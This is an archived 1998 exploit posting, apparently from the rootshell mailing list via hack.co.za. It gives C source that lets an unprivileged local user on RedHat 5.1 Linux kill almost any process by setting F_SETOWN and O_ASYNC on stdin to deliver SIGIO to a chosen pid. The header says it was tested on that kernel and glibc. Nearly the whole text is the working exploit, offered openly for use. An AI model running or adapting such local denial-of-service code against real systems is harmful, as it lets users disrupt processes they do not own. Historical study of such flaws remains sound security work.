/* From dibbler@umd.umich.edu Fri Nov 13 11:36:32 1998 Date: Fri, 13 Nov 1998 14:25:29 -0500 (EST) From: Ryan Dibble To: submission@rootshell.com Subject: kill almost any process in (RedHat 5.1) Linux without root The code below will result in the termination of almost any process no matter who owns it. The good news is that init, kflushd, kswapd, and klogd appear not to be effected. In order to run this the user must have login access to the machine. This code has been tested on two different machines running RedHat 5.1 with the following packages: kernel-2.0.34-0.6 glibc-2.0.7-13 glib-1.0.1-2 glibc-debug-2.0.7-13 glibc-devel-2.0.7-13 glibc-profile-2.0.7-13 */ #include #include #include #include #include int main(int argc, char *argv[]) { int s, p; if (argc != 2) { fputs("Please specify a pid to send signal to.\n", stderr); exit(0); } else { p = atoi(argv[1]); } fcntl(0,F_SETOWN,p); s = fcntl(0,F_GETFL,0); fcntl(0,F_SETFL,s|O_ASYNC); printf("Sending SIGIO - press enter.\n"); getchar(); fcntl(0,F_SETFL,s&~O_ASYNC); printf("SIGIO send attempted.\n"); return 0; } /* www.hack.co.za [2000]*/